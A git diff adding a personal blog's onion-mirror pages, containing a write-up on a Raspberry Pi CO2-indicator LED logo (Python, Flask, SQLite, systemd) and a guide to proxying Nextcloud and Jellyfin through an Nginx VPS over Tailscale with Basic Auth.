    +    animations[name] = {"fn": fn, "safe": safe}
    +    return fn
    +  return wrap
    +
    +def run_animation(fn):
    +  # cooperative hand-off: stop current, start next
    +  if current_thread and current_thread.is_alive():
    +    stop_event.set(); current_thread.join()
    +  stop_event.clear()
    +  t = threading.Thread(target=fn, name=fn.__name__, daemon=True)
    +  t.start(); globals()["current_thread"] = t
    +

    Why it’s like this: adding a new animation is a one-liner @register("name"). Clean exits prevent torn frames and half-drawn comets.

    +
    +

    6.5 Animations (the mood)

    +

    Each animation is a loop that checks stop_event.is_set() and draws frames with _set_pixel(...) + flush().

    +
      +
    • redpulse — calm breathing in red; great default.
    • +
    • colorwave — slow rainbow that reads clearly behind diffusers.
    • +
    • comet — a single head with a fading tail orbiting the logo.
    • +
    +

    They all end with finally: clear_strip() so the panel doesn’t freeze on the last pose if you stop mid-frame.

    +

    Why it’s like this: cooperative loops + frame-diff = smooth, interruption-safe effects.

    +
    +

    6.6 CO₂ color language (with smoothing + hysteresis)

    +

    The star of the show. Now map ppm to color bands and keep transitions human-pleasant.

    +
      +
    • < 500: Cyan (fresh)
    • +
    • 500–799: Green
    • +
    • 800–1199: Yellow
    • +
    • 1200–1499: Orange
    • +
    • 1500–1999: Red
    • +
    • ≥ 2000: Purple
    • +
    +
    BANDS=[(0,500,(0,214,255)), (500,800,(17,204,85)), ... (2000,,(123,44,191))]
    +EMA_ALPHA=0.15; HYST=35
    +
    +# Every tick:
    +ema = (1-EMA_ALPHA)*ema + EMA_ALPHA*co2
    +band = hysteresis_aware_band(ema, last_band, HYST)
    +target = BANDS[band].color
    +current = lerp(current, target, 0.10)   # gentle hue easing
    +level   = breathe(0.25 Hz, low=10, high=220)
    +draw all pixels = current * level
    +

    Why it’s like this: EMA + hysteresis prevents “800↔801 disco.” The slow breathing keeps the panel feeling alive, not like a traffic light.

    +
    +

    6.7 Optional SCD41 sensor thread (the polite listener)

    +

    If the SCD41 is present, a dedicated thread owns I²C and updates a global co2_data dict every few seconds. It also logs to a tiny SQLite database.

    +
    def _start_sensor():
    +  try:
    +    scd4x = adafruit_scd4x.SCD4X(i2c); scd4x.start_periodic_measurement()
    +  except: return  # sensor optional
    +  def loop():
    +    while True:
    +      time.sleep(5)
    +      if scd4x.data_ready:
    +        co2_data.update({...})
    +        db.insert(timestamp, co2, temperature, humidity)
    +  threading.Thread(target=loop, daemon=True).start()
    +

    Why it’s like this: one thread owns the bus → no read contention. The controller keeps working even without a sensor.

    +
    +

    6.8 Scheduler + 90-minute override (humans win, then reset)

    +

    A background thread asks, every few seconds, which mode should be running:

    +
      +
    1. If the user chose something recently (override), respect it for TTL = 90 min (or the duration set in the UI).
    2. +
    3. Otherwise, apply the default schedule (Wednesday 14–17 → slow, else redpulse).
    4. +
    5. Save/load the schedule atomically to schedule.json.
    6. +
    +
    def scheduler_pick():
    +  if now < override_until: return override_mode
    +  for row in load_schedule():
    +    if matches(now, row): return row["mode"]
    +  return "redpulse"
    +

    Why it’s like this: you can play DJ for a meeting, and the room quietly returns to its routine afterward.

    +
    +

    6.9 The web panel (tiny Flask, big buttons)

    +

    Three pages, no fuss:

    +
      +
    • /status — live JSON (/status_data) every second → current mode + CO₂/Temp/Humidity.
    • +
    • /control — grid of same-size buttons (respects Safe Mode), optional duration (0–180 min) with validation.
    • +
    • /schedule — simple table editor; Add Row and Save; writes atomically.
    • +
    +
    @app.post("/set")
    +def set_mode():
    +  mode = request.form["mode"]
    +  minutes = clamp( int(form["duration"]), 0, 180 )
    +  set_override(mode, minutes)
    +  run_animation(animations[mode]["fn"])
    +  return redirect("/control")
    +

    Why it’s like this: minimal routes are easier to maintain and don’t compete with the art piece.

    +
    +

    6.10 Boot choreography

    +

    At startup I:

    +
      +
    1. Try the sensor thread (if hardware is there).
    2. +
    3. Start the scheduler thread.
    4. +
    5. Immediately play redpulse (so there’s a friendly glow right away).
    6. +
    7. Start Flask; on shutdown I clear the strip.
    8. +
    +
    if __name__ == "__main__":
    +  _start_sensor()
    +  threading.Thread(target=scheduler_loop, daemon=True).start()
    +  run_animation(redpulse)
    +  app.run(host="0.0.0.0", port=5000)
    +

    Why it’s like this: the room sees something alive instantly; the scheduler will swap in the “real” choice within a few seconds.

    +
    +

    TL;DR (but keep the vibes)

    +
      +
    • Frame-diff = no flashes.
    • +
    • EMA + hysteresis = smooth, truthful color.
    • +
    • Breathing = presence, not signage.
    • +
    • Threads per thing (LEDs / sensor / scheduler) = no fights.
    • +
    • Atomic files = no corrupted schedules.
    • +
    • Safe Mode by default = people > pixels.
    • +
    +

    That’s it — the code behaves like a considerate colleague: dependable, quiet, and occasionally very pretty.

    +

    Why this shape of code?

    +
      +
    • One thread per hardware thing. The sensor thread owns I²C. The animation thread owns LEDs. The scheduler just decides what to run and when. No bus fights.
    • +
    • Frame diff. I only call strip.show() when a pixel actually changes. That’s why it doesn’t randomly flash during web requests.
    • +
    • Atomic schedule saves. The code writes to a temporary file and replaces the old one so a mid‑save power cut can’t corrupt the schedule.
    • +
    +
    +

    No, you don’t need the sensor. If it’s not connected, the app still runs; co2_monitor just sits at the default value. Well, technically it shows NaN as the numbers! But it is fun to have a sensor, don’t you agree?

    +
    +

    7) Sensor Database — what it stores, where it lives, and how far it goes

    +

    This project logs room conditions to a tiny SQLite database so you can graph trends, spot stuffy meetings, and keep a record without running a separate server.

    +

    What’s stored

    +

    A single table called readings:

    +
    CREATE TABLE IF NOT EXISTS readings (
    +  timestamp   TEXT PRIMARY KEY,   -- "YYYY-MM-DD HH:MM:SS"
    +  co2         INTEGER,            -- ppm
    +  temperature REAL,               -- °C
    +  humidity    REAL                -- %
    +);
    +
      +
    • One row per sample (typically every 5–60 seconds; slow it down to reduce writes).
    • +
    • timestamp is the primary key → easy “latest” queries and natural time ordering.
    • +
    +

    Where the file lives

    +
      +
    • Path is configurable via env var DB_PATH (see your systemd unit).
    • +
    • Default: sensor.db in the app’s working directory (e.g. /home/pi/inet-led/sensor.db).
    • +
    +

    Check size:

    +
    ls -lh /home/pi/inet-led/sensor.db
    +

    How writes happen (and why it’s safe)

    +
      +
    • The sensor thread owns I²C and inserts a row only when the sensor reports data_ready.
    • +
    • Inserts are short and journaling protects against power loss.
    • +
    • For friendlier read/write concurrency, enable WAL once at startup:
    • +
    +
    PRAGMA journal_mode = WAL;
    +PRAGMA synchronous = NORMAL;
    +

    Typical size & retention

    +

    Back-of-envelope:

    +
      +
    • ~100–200 bytes per row (including overhead).
    • +
    • 1 sample/minute → ~1,440 rows/day → ~150–300 KB/day55–110 MB/year.
    • +
    • If you log every 5 seconds, multiply by ~12 (consider slower logging or downsampling).
    • +
    +

    Prune old data (keep last 90 days):

    +
    DELETE FROM readings
    +WHERE timestamp < date('now','-90 day');
    +

    (Optionally run VACUUM; after large deletes to reclaim file space.)

    +

    Useful queries

    +

    Latest reading:

    +
    SELECT * FROM readings ORDER BY timestamp DESC LIMIT 1;
    +

    Range for charts (last 7 days):

    +
    SELECT * FROM readings
    +WHERE timestamp >= datetime('now','-7 day')
    +ORDER BY timestamp;
    +

    Downsample to hourly averages (30 days):

    +
    SELECT strftime('%Y-%m-%d %H:00:00', timestamp) AS hour,
    +       AVG(co2) AS co2, AVG(temperature) AS t, AVG(humidity) AS h
    +FROM readings
    +WHERE timestamp >= datetime('now','-30 day')
    +GROUP BY hour
    +ORDER BY hour;
    +

    Export to CSV (example via sqlite3 CLI):

    +
    sqlite3 /home/pi/inet-led/sensor.db <<'SQL'
    +.headers on
    +.mode csv
    +.output /home/pi/inet-led/export_readings.csv
    +SELECT * FROM readings ORDER BY timestamp;
    +.output stdout
    +SQL
    +

    SD card friendliness

    +
      +
    • Choose a sensible interval (e.g., 30–60 s).
    • +
    • Optionally buffer in memory and write every N samples.
    • +
    • Prefer WAL mode; periodically prune & vacuum.
    • +
    • If you care about card wear, place the DB on USB/SSD.
    • +
    +

    Backups & restore

    +

    Nightly backup (simple):

    +
    sqlite3 /home/pi/inet-led/sensor.db ".backup '/home/pi/backup/sensor-$(date +%F).db'"
    +

    Restore:

    +
      +
    1. sudo systemctl stop inet-led
    2. +
    3. Copy backup file back to /home/pi/inet-led/sensor.db
    4. +
    5. sudo systemctl start inet-led
    6. +
    +

    Security & permissions

    +
    chown pi:pi /home/pi/inet-led/sensor.db
    +chmod 600 /home/pi/inet-led/sensor.db
    +

    Keep the app directory non-world-readable.

    +

    Is SQLite the right choice?

    +

    Yes, for a single Pi logging every few seconds and rendering local charts:

    +
      +
    • ✅ Zero admin, a single file, reliable journaling, great performance at this scale.
    • +
    • ⚠️ One writer at a time (I only have the sensor thread writing, so it’s fine).
    • +
    • ⬆️ If you later need multi-device ingestion, alerts, or >10s of millions of rows, consider a time-series DB (TimescaleDB/InfluxDB/VictoriaMetrics) and migrate using CSV exports.
    • +
    +

    TL;DR

    +

    SQLite is perfect here: simple, robust, easy to back up. Start with it, and only upgrade when your ambitions outgrow a single Raspberry Pi.

    +
    +

    8) Run at Boot (systemd)

    +

    I wrote this simple systemd to /etc/systemd/system/inet-led.service so that it runs the script when RPi boots up:

    +
    [Unit]
    +Description=INET LED Panel
    +After=network.target
    +
    +[Service]
    +ExecStart=/usr/bin/python3 /home/pi/inet-led/inet_led_panel.py
    +WorkingDirectory=/home/pi/inet-led
    +Restart=always
    +User=pi
    +Environment=LED_COUNT=78
    +Environment=SCHEDULE_FILE=/home/pi/inet-led/schedule.json
    +Environment=DB_PATH=/home/pi/inet-led/sensor.db
    +
    +[Install]
    +WantedBy=multi-user.target
    +

    Then you can run:

    +
    sudo systemctl daemon-reload
    +sudo systemctl enable --now inet-led
    +journalctl -u inet-led -f
    +

    to control the systemd service.

    +
    +

    9) Soldering Notes (a love letter to hot glue)

    +
      +
    • Tin first, solder second. Tiny pads like tiny puddles. Fast in/out, no lifted pads.
    • +
    • Stagger joints so nothing stacks under the diffuser.
    • +
    • Heat‑shrink + a dot of hot glue = happier future you.
    • +
    • Continuity before power. Multimeter first, electrons last.
    • +
    • If a pad does lift: magnet wire to a trace, UV mask to seal. Ugly heroics, but it works.
    • +
    +

    Besides the soldering part, I also used m2 screws to fix the diffusers. Initially magnets were suggested, but I felt like figuring that out might take me long, and screws just feel more maintainable… So… yea.

    +
    +

    10) Why these design choices?

    +
      +
    • Calm motion, not flashy. Meeting rooms breed fatigue; the light should be a helper, not a distraction.
    • +
    • Cyan→Purple language. Easy to learn, visible at a glance, meaningful without numbers.
    • +
    • White charts, dark UI. Data should be legible on a projector; buttons shouldn’t shout.
    • +
    • Safe Mode default. People first. Demos are opt‑in.
    • +
    • PLA body, PLA diffuser. Fast and easy rapid prototyping, easy and fast printing.
    • +
    +
    +

    11) What I learned

    +
      +
    • A logo is a better messenger than a dashboard.
    • +
    • Everyone knows what orange means without a legend.
    • +
    • If you show the room a mirror, it corrects itself. Someone will open the door long before you have to ask, and if someone notices the orange/red color of the logo, they would hint the end of the gathering!
    • +
    • Sometimes debugging is not fun at all, and you want to bang your head to the wall, but try not to! Life is short. ^^
    • +
    +
    +

    12) Final notes

    +

    I did this project as a fun distraction and “not work” as my advisor tells me to do all the time. My advisor provided the LED strip, RPi zero 2 W, and the voltage divider. I got the sensor, designed and coded everything else, and had a lot of fun doing so. I’m so so thankful of my advisor for this cool idea, and all the support. It’s not the first time I’ve been gifted such toys, and as I have recieved other things after that, I know it’s not the last.

    +

    There is a bug I never was able to figure out, sometimes when I stop the script, I get segmentation fault. I know it is not directly my code with extensive testing, and that the problem is with the library, but I never understood why it happens. Let’s hope that doesn’t turn into a backdoor into my logo. * Shakingly crosses fingers and sighs in distress!*

    +

    The whole project took around 8 days, 4 of which were part of a long weekend. I did do some “not work” as Tobias always tells me to do, and honestly it was fun and refreshing! I really enjoyed it. I don’t know how the group feels/thinks about the logo, but I love it! I hope it won’t die after I leave, but even if so, so be it. I had my fun with it. :)

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuIACgkQtYgoUOBM
    +jSoc5w/+Ij7a9UuglnzXQSMNA8VkN84qokmVTaI9mN6BY/aJQLjWWwJFi5Ih7qKw
    +0oWl2ZZ6FHKdAo2+gAajxhg0vf0DUGZNwsD0NJsHAuei8ezvgb4TKIfAMspKC+9J
    +CgcvqbZdC+M2c3PcPPA4UV5reYclf9PisEsmJSiR+cyDaCtNJkYjQ9SSZMO+BV93
    +k6I20tEILeR/l72ahSGyGCQxFTkI+cE5EOglG+AJP7HnLArcBUplixjLS7j/gq13
    +U/TeRhI5R6RG0sCzaTsyUMhfc/7be0PeU5EZTf8e21dv6c6RRWiYe+kXXv1wH1yE
    +sfJnMxiQ2YJqxUXDjJNJt1R+4yWpznmqYoOcW1/T8ySuYCrzx5XBdGB9XThQAxZg
    +sDsV6dgcPJUSvpuZqPmQicTu/+BL9QdmB4bASxDhRUX2KkK1RKRTBGP73l79vUmP
    +QUuBm7o7sHpSUax7CEE+vbjC9FubL5D6i6nSIesTImpR2P7ycaWboFPYREC2q3ma
    +B/WmnHiYbrhiLMNRrAHFdiCSHPd9JKiNK+9C8ASsDpEz8yvf2Ef9yhp0sYZ6ZBkb
    +Bs+BKOoDWDsI7NkT/hFBeWMrTTWpTDoRf2UGk1HI2Iaz7Fh+hXljpEPyQ/Mq3s0X
    +o9h8Z1rq9m7nIwmpLNW+vEiL81/SrnjJE8/+kA/+J2p9TNBYcn8=
    +=tAeg
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/inet_logo.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/inet_logo.md.asc
    +gpg --verify inet_logo.md.asc inet_logo.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/scd41/page/1/index.html b/public-onion/tags/scd41/page/1/index.html new file mode 100644 index 0000000..00fb573 --- /dev/null +++ b/public-onion/tags/scd41/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/scd41/ + + + + + + diff --git a/public-onion/tags/security/index.html b/public-onion/tags/security/index.html new file mode 100644 index 0000000..ebbff7b --- /dev/null +++ b/public-onion/tags/security/index.html @@ -0,0 +1,357 @@ + + + + + + + +Security | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    Nextcloud on a Raspberry Pi, Fronted by a Tiny VPS — Nginx Reverse Proxy, Trusted Proxies, and Basic Auth for Jellyfin +

    +
    +
    +

    I didn’t “move Nextcloud to the cloud”. +I moved the front door to a VPS… and kept the house on my Raspberry Pi. 😄 +This post documents the setup I ended up with: +A public VPS (host: funbox) running Nginx + Let’s Encrypt A private Raspberry Pi (host: iot-hub) running Docker services (Nextcloud, Jellyfin, …) A private backhaul using Tailscale (the 100.x.y.z network) A correct Nextcloud reverse-proxy configuration (trusted_domains, trusted_proxies, and overwrite values) A pragmatic security layer for media: Basic Auth at Nginx for Jellyfin +(in addition to Jellyfin’s own login) I’m writing this as a “future me” note and a “copy-paste friendly” guide. +...

    +
    +
    February 2, 2026 · 6 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/security/index.xml b/public-onion/tags/security/index.xml new file mode 100644 index 0000000..5cc4a0b --- /dev/null +++ b/public-onion/tags/security/index.xml @@ -0,0 +1,357 @@ + + + + Security on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/security/ + Recent content in Security on AlipourIm journeys + Hugo -- 0.146.0 + en + Mon, 02 Feb 2026 00:00:00 +0000 + + + Nextcloud on a Raspberry Pi, Fronted by a Tiny VPS — Nginx Reverse Proxy, Trusted Proxies, and Basic Auth for Jellyfin + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/pi_service_touchup/ + Mon, 02 Feb 2026 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/pi_service_touchup/ + Cloudflare DNS + Nginx on a VPS + Tailscale to the Pi. Small, boring, and reliable. + +

    I didn’t “move Nextcloud to the cloud”.
    +I moved the front door to a VPS… and kept the house on my Raspberry Pi. 😄

    +

    This post documents the setup I ended up with:

    +
      +
    • A public VPS (host: funbox) running Nginx + Let’s Encrypt
    • +
    • A private Raspberry Pi (host: iot-hub) running Docker services (Nextcloud, Jellyfin, …)
    • +
    • A private backhaul using Tailscale (the 100.x.y.z network)
    • +
    • A correct Nextcloud reverse-proxy configuration (trusted_domains, trusted_proxies, and overwrite values)
    • +
    • A pragmatic security layer for media: Basic Auth at Nginx for Jellyfin
      +(in addition to Jellyfin’s own login)
    • +
    +

    I’m writing this as a “future me” note and a “copy-paste friendly” guide.

    +
    +

    0) Topology

    +

    The request path looks like:

    +
    Browser
    +  ↓ HTTPS (public)
    +Cloudflare DNS (optional proxy on/off)
    +  ↓
    +VPS (funbox) — Nginx reverse proxy + Let's Encrypt
    +  ↓ HTTP over Tailscale (private 100.x network)
    +Raspberry Pi (iot-hub) — Docker: Nextcloud / Jellyfin / …
    +

    Why I like it:

    +
      +
    • The Pi can sit behind home router / CGNAT and still be reachable.
    • +
    • TLS, redirects, headers, auth, rate limits… all centralized on the VPS.
    • +
    • Internal IPs can change without breaking public URLs.
    • +
    +
    +

    1) What’s running on the Pi?

    +

    On iot-hub the “interesting” containers are:

    +
      +
    • nextcloud (Apache variant)
    • +
    • nextcloud-db (Postgres)
    • +
    • nextcloud-redis
    • +
    • jellyfin
    • +
    +

    Example docker ps style output (yours may vary):

    +
    nextcloud         nextcloud:apache     0.0.0.0:8080->80/tcp
    +jellyfin          jellyfin/jellyfin    0.0.0.0:8096->8096/tcp
    +

    So on the Pi, the services listen on:

    +
      +
    • http://<pi>:8080 for Nextcloud
    • +
    • http://<pi>:8096 for Jellyfin
    • +
    +

    But in my setup, the VPS does not reach those via LAN — it reaches them via Tailscale IPs.

    +
    +

    2) Tailscale: the private wire between VPS and Pi

    +

    Tailscale assigns each node an address like 100.xx.yy.zz.

    +

    In my config, Nginx on funbox points to the Pi via Tailscale:

    +
      +
    • Nextcloud upstream: http://100.104.127.96:8080
    • +
    • Jellyfin upstream: http://100.104.127.96:8096
    • +
    +

    (Use the Tailscale IP of your Pi.)

    +

    Quick sanity checks from the VPS:

    +
    # from funbox, make sure you can reach the Pi service:
    +curl -I http://100.104.127.96:8080
    +curl -I http://100.104.127.96:8096
    +

    If those don’t work: fix Tailscale connectivity first (ACLs, firewall, node online).

    +
    +

    3) Nginx on the VPS: reverse proxy blocks

    +

    3.1 Nextcloud vhost (VPS → Pi via Tailscale)

    +

    Create (or edit):

    +

    /etc/nginx/sites-available/nextcloud.alipourimjourneys.ir

    +

    and symlink into sites-enabled.

    +

    Here is a complete working example:

    +
    # Redirect HTTP → HTTPS
    +server {
    +    listen 80;
    +    listen [::]:80;
    +    server_name nextcloud.alipourimjourneys.ir;
    +
    +    return 301 https://$host$request_uri;
    +}
    +
    +server {
    +    listen 443 ssl;
    +    listen [::]:443 ssl;
    +    server_name nextcloud.alipourimjourneys.ir;
    +
    +    # Certbot-managed certs
    +    ssl_certificate     /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/privkey.pem;
    +    include             /etc/letsencrypt/options-ssl-nginx.conf;
    +    ssl_dhparam         /etc/letsencrypt/ssl-dhparams.pem;
    +
    +    # Big uploads (tune to taste)
    +    client_max_body_size 2G;
    +
    +    # CalDAV/CardDAV redirects
    +    location = /.well-known/carddav { return 301 https://$host/remote.php/dav/; }
    +    location = /.well-known/caldav  { return 301 https://$host/remote.php/dav/; }
    +
    +    location / {
    +        proxy_pass http://100.104.127.96:8080;
    +
    +        proxy_http_version 1.1;
    +
    +        proxy_set_header Host              $host;
    +        proxy_set_header X-Real-IP         $remote_addr;
    +        proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +        proxy_set_header X-Forwarded-Proto $scheme;
    +
    +        # Sometimes helps apps behind multiple proxies
    +        proxy_set_header X-Forwarded-Host  $host;
    +        proxy_set_header X-Forwarded-Port  $server_port;
    +
    +        # Nextcloud + WebDAV can do long requests
    +        proxy_read_timeout 3600;
    +        proxy_send_timeout 3600;
    +
    +        # Usually good for DAV/uploads
    +        proxy_buffering off;
    +        proxy_request_buffering off;
    +    }
    +}
    +

    Then test + reload:

    +
    sudo nginx -t
    +sudo systemctl reload nginx
    +

    3.2 Jellyfin vhost (with Basic Auth)

    +

    Create:

    +

    /etc/nginx/sites-available/jellyfin.alipourimjourneys.ir

    +

    Example:

    +
    server {
    +    listen 80;
    +    listen [::]:80;
    +    server_name jellyfin.alipourimjourneys.ir;
    +    return 301 https://$host$request_uri;
    +}
    +
    +server {
    +    listen 443 ssl;
    +    listen [::]:443 ssl;
    +    server_name jellyfin.alipourimjourneys.ir;
    +
    +    ssl_certificate     /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/privkey.pem;
    +    include             /etc/letsencrypt/options-ssl-nginx.conf;
    +    ssl_dhparam         /etc/letsencrypt/ssl-dhparams.pem;
    +
    +    client_max_body_size 512M;
    +
    +    # ✅ Basic Auth gate (extra layer before Jellyfin)
    +    auth_basic "Jellyfin (private)";
    +    auth_basic_user_file /etc/nginx/.htpasswd-jellyfin;
    +
    +    location / {
    +        proxy_pass http://100.104.127.96:8096;
    +        proxy_http_version 1.1;
    +
    +        proxy_set_header Host              $host;
    +        proxy_set_header X-Real-IP         $remote_addr;
    +        proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +        proxy_set_header X-Forwarded-Proto $scheme;
    +
    +        # Jellyfin uses websockets
    +        proxy_set_header Upgrade $http_upgrade;
    +        proxy_set_header Connection "upgrade";
    +
    +        proxy_read_timeout 3600;
    +        proxy_send_timeout 3600;
    +
    +        proxy_buffering off;
    +    }
    +}
    +

    Enable:

    +
    sudo ln -s /etc/nginx/sites-available/jellyfin.alipourimjourneys.ir /etc/nginx/sites-enabled/
    +sudo nginx -t
    +sudo systemctl reload nginx
    +

    +

    4) Creating the Basic Auth password file

    +

    Install tools (Debian/Ubuntu):

    +
    sudo apt-get update
    +sudo apt-get install -y apache2-utils
    +

    Create the password file:

    +
    sudo htpasswd -c /etc/nginx/.htpasswd-jellyfin yourusername
    +

    (If adding more users later, omit -c.)

    +

    Lock it down:

    +
    sudo chown root:root /etc/nginx/.htpasswd-jellyfin
    +sudo chmod 640 /etc/nginx/.htpasswd-jellyfin
    +

    Notes on clients

    +
      +
    • Most browsers + most Jellyfin apps handle HTTP Basic Auth fine.
    • +
    • Some TV apps can be quirky. If a client can’t handle it, you can: +
        +
      • remove Basic Auth, or
      • +
      • keep it only on selected paths, or
      • +
      • use Cloudflare Access in front of Jellyfin instead (more work).
      • +
      +
    • +
    +
    +

    5) Nextcloud: configure it to behave behind the reverse proxy

    +

    Nextcloud needs to know:

    +
      +
    • what hostnames are valid,
    • +
    • which proxy is trusted,
    • +
    • and what the “outside” URL scheme is.
    • +
    +

    You can do it via occ inside the container (Apache image uses www-data).

    +

    5.1 trusted_domains

    +

    Check current values:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:get trusted_domains
    +

    Add your public domain:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_domains 1 --value="nextcloud.alipourimjourneys.ir"
    +

    (Keep your internal name too if you still use it, e.g. rpi:8080.)

    +

    5.2 trusted_proxies

    +

    Because requests arrive from the VPS (over Tailscale), Nextcloud must trust that proxy IP.

    +

    Example:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_proxies 0 --value="100.99.79.75"
    +

    (Use the VPS’s Tailscale IP as seen from the Pi.)

    +

    5.3 overwritehost / overwriteprotocol / overwrite.cli.url

    +

    Tell Nextcloud “the world sees me as https://nextcloud.example”:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwritehost --value="nextcloud.alipourimjourneys.ir"
    +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwriteprotocol --value="https"
    +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwrite.cli.url --value="https://nextcloud.alipourimjourneys.ir"
    +

    5.4 forwarded_for_headers (optional, but often helpful)

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set forwarded_for_headers 0 --value="HTTP_X_FORWARDED_FOR"
    +

    Restart Nextcloud container after config:

    +
    docker restart nextcloud
    +

    +

    6) Sanity checks (curl is your friend)

    +

    From anywhere public:

    +
    curl -I http://nextcloud.alipourimjourneys.ir
    +curl -I https://nextcloud.alipourimjourneys.ir
    +curl -I https://nextcloud.alipourimjourneys.ir/.well-known/caldav
    +

    Expected “good signs”:

    +
      +
    • HTTP returns 301 to HTTPS
    • +
    • HTTPS returns 302 to /login (or 200 if already authenticated)
    • +
    • /.well-known/caldav returns 301 to /remote.php/dav/
    • +
    +

    If you see redirect loops or wrong hostnames:

    +
      +
    • revisit overwritehost, overwriteprotocol, trusted_proxies.
    • +
    +
    +

    7) “Do I really need Cloudflare Access / WARP?”

    +

    The honest answer

    +

    If your setup is:

    +
      +
    • HTTPS only
    • +
    • strong passwords + MFA in Nextcloud/Jellyfin
    • +
    • your origin isn’t directly exposed (only the VPS is public)
    • +
    • you keep things patched
    • +
    +

    …then you’re already in a reasonable place.

    +

    “Can I skip Cloudflare Access?”

    +

    Yes. In this topology, Cloudflare Access is optional. The main security boundary is:

    +
      +
    • Public: VPS + Nginx
    • +
    • Private: Pi over Tailscale
    • +
    +

    For Jellyfin, Basic Auth adds a cheap extra gate that’s “family friendly”.

    +
    +

    8) Cloudflare Access: One-time PIN not arriving + passkeys

    +

    Two common gotchas:

    +

    8.1 One-time PIN email didn’t arrive

    +

    That flow relies on email delivery. Check:

    +
      +
    • spam/junk folder
    • +
    • if your provider blocked it
    • +
    • the exact email allowlist in your policy
    • +
    +

    If it’s flaky, I’d avoid One-time PIN and use a real identity provider.

    +

    8.2 Can I use passkeys / Apple / Google?

    +

    Yes — but passkeys typically come via an identity provider (IdP) that supports WebAuthn/passkeys. +Practical approach:

    +
      +
    • pick what your family already uses (Google or Apple),
    • +
    • configure that as the login method,
    • +
    • avoid WARP enrollment unless you specifically want device-based access.
    • +
    +
    +

    9) Hardening checklist (tiny but effective)

    +

    On the VPS:

    +
      +
    • Keep Ubuntu security updates on
    • +
    • firewall: allow only what you need (22/80/443)
    • +
    • optional: fail2ban for SSH
    • +
    +

    On the Pi:

    +
      +
    • keep Docker images updated
    • +
    • Postgres/Redis not exposed publicly (Docker internal network)
    • +
    • backups: Nextcloud data + DB
    • +
    +
    +

    10) TL;DR

    +
      +
    • VPS Nginx terminates TLS, proxies to Pi over Tailscale
    • +
    • Nextcloud must be told about: +
        +
      • trusted_domains
      • +
      • trusted_proxies
      • +
      • overwrite values (overwritehost, overwriteprotocol, overwrite.cli.url)
      • +
      +
    • +
    • curl -I should show sane redirects + /remote.php/dav/
    • +
    • Jellyfin gets an extra gate with Nginx Basic Auth
    • +
    +

    Boring is good. Boring runs for months.

    +
    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuYACgkQtYgoUOBM
    +jSomZA/+LsB+V0BnPki5qaDc+tRu6EXM5kPuH7G8x5ar4opsKgbfsRKEwT6/Q0Er
    +vfg48uYNp4fBnoyfJrgURx+OwS7EVJRCmXaRsdilEEGHF7cT3qHhlczYaC+58lGs
    ++qXaHjYE8x0byAZ8iHNxNUhIyILVrcsdua3JZ3D3J/8r93dfVgrWg41Nrtj4tPUE
    +QQMW/KxTe/TOED4iivXxFlDCiT13KmgB/B9HeunGPqu8lPMTORf4ePoPzeYEeuuZ
    +iVH+ssNZ9XB00Z4a/c3I0d2ALLYoA/dXmrJkl0qCCpCy+7/id2yz3eXYWn2xKMvp
    +SAMTYaFAV6Fd7xdmxGYEeoCSDu8P57P7QfdPVEU1oUTANO21tEh1vGnjxcFdJUBx
    +kOvBdjQf4wDqUuNv7NKA+OHOzhJ3Wf3VLb/ZNq6Y2okEibsCygm3XDn0008WeKPv
    +ncB0gceY6nFYzbyhuUIhPtQJJWDNi5KG/KMEvYcebEwDzn7TErg/v3Bp8ZCdWRx/
    +Gs8K9nADnHhAjWgwTq3D+2qRWcF0tlLSTmKg+95yaYi0XWWMFGTgCv2odPsgFlIS
    +3FiLJC3rV73prsk+7eZftBTYCJN0Xk92YFj4a6bTYeuLcC20VbAA98Bpi0pCyO0v
    +TJ2+amlKyT+Nq9wGrAez+dTvR0FKuEvA5OO693Aibv/iwOX6UPU=
    +=2UUg
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/pi_service_touchup.md
